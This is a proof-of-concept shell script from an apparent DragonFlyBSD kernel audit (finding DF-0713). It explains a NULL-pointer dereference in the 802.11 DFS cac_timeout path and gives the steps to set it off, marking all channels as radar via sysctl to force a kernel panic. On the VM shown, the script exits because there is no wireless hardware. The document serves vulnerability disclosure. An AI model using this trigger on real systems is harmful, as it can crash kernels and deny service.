⬢ DragonFlyBSD Kernel Audit
DF-0713 / trigger.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/bin/sh
# DF-0713 — cac_timeout NULL-deref trigger
#
# Bug: ieee80211_dfs.c:154 assigns dfs->newchan (may be NULL from
# ieee80211_dfs_pickchannel) to vap->iv_des_chan without converting NULL
# to IEEE80211_CHAN_ANYC (0xffff). Downstream hostap/adhoc/mesh/scan_sta
# guard with `iv_des_chan != IEEE80211_CHAN_ANYC` (NOT `!= NULL`), so NULL
# passes the guard; then IEEE80211_IS_CHAN_RADAR(iv_des_chan) dereferences
# NULL->ic_state (offset 0x0A) → page fault → kernel panic.
#
# Trigger path (requires DFS-capable 802.11 radio hardware):
#   1. Create a hostap/adhoc/mesh vap on a DFS 5GHz channel
#   2. Start CAC (ieee80211_dfs_cac_start arms cac_timer)
#   3. Radar detected on bsschan while CAC pending
#      → ieee80211_dfs_notify_radar → dfs->newchan = pickchannel() = NULL
#      → callout_schedule(cac_timer, 0)  [fire immediately]
#   4. cac_timeout fires:
#      vap->iv_des_chan = dfs->newchan  (= NULL)   ← line 154
#      ieee80211_new_state(vap, S_SCAN, 0)
#   5. hostap.c:217-218: iv_des_chan != ANYC (NULL≠0xffff = true)
#      → IEEE80211_IS_CHAN_RADAR(NULL) → NULL->ic_state @ VA 0x0A → PANIC
#
# On this VM (no wireless hardware) this script cannot get past step 1.
# The bug is confirmed real by code-level trace (see VERDICT.md).

set -e
echo "=== DF-0713 cac_timeout NULL-deref trigger ==="
echo

# Step 1: Check for any existing wlan vaps
echo "[*] Checking for wlan interfaces..."
WLAN_IFS=$(ifconfig -l 2>/dev/null | tr ' ' '\n' | grep '^wlan' || true)
if [ -z "$WLAN_IFS" ]; then
    echo "[-] No wlan interfaces present."
    echo "[*] Attempting to create one..."
    # Creating a wlan vap requires a parent radio device (wlandev)
    if ifconfig wlan0 create wlandev 2>/dev/null; then
        : # unlikely on this VM
    else
        echo "[-] Cannot create wlan vap: no parent wireless device (wlandev) available."
        echo "[-] This VM has no DFS-capable 802.11 radio hardware."
    fi
fi

# List what we have
echo
echo "[*] Network interfaces on this host:"
ifconfig -l
echo

# Check for DFS-capable vap sysctls
echo "[*] Looking for net.wlan.*.radar sysctls (per-vap DFS trigger)..."
RADAR_SYSCTL=$(sysctl -aN 2>/dev/null | grep 'net\.wlan\.[0-9]*\.radar' || true)
if [ -z "$RADAR_SYSCTL" ]; then
    echo "[-] No net.wlan.N.radar sysctl found."
    echo "[-] The 'radar' sysctl is only created when a vap with"
    echo "    IEEE80211_C_DFS capability exists (ieee80211_dragonfly.c:477-480)."
    echo "[-] Without a DFS-capable wireless NIC, the vulnerable path"
    echo "    (cac_timeout → iv_des_chan=NULL → hostap SCAN deref) is unreachable."
    echo
    echo "=== RESULT: cannot trigger on this guest (no wireless hardware) ==="
    echo "=== Bug confirmed real by source-level trace — see VERDICT.md ==="
    exit 2
fi

# If we DO have a radar sysctl (on a real system with hardware):
echo "[+] Found radar sysctl: $RADAR_SYSCTL"
echo "[*] On a real DFS system, the trigger would be:"
echo "    1. Set up hostap vap on a DFS 5GHz channel"
echo "    2. Wait for CAC to start"
echo "    3. Mark ALL channels radar (so pickchannel returns NULL):"
echo "       sysctl $RADAR_SYSCTL=1   (repeatedly, on every channel)"
echo "    4. Wait for cac_timeout to fire → iv_des_chan=NULL → panic"
echo
echo "=== Cannot fully trigger without DFS hardware ==="
exit 2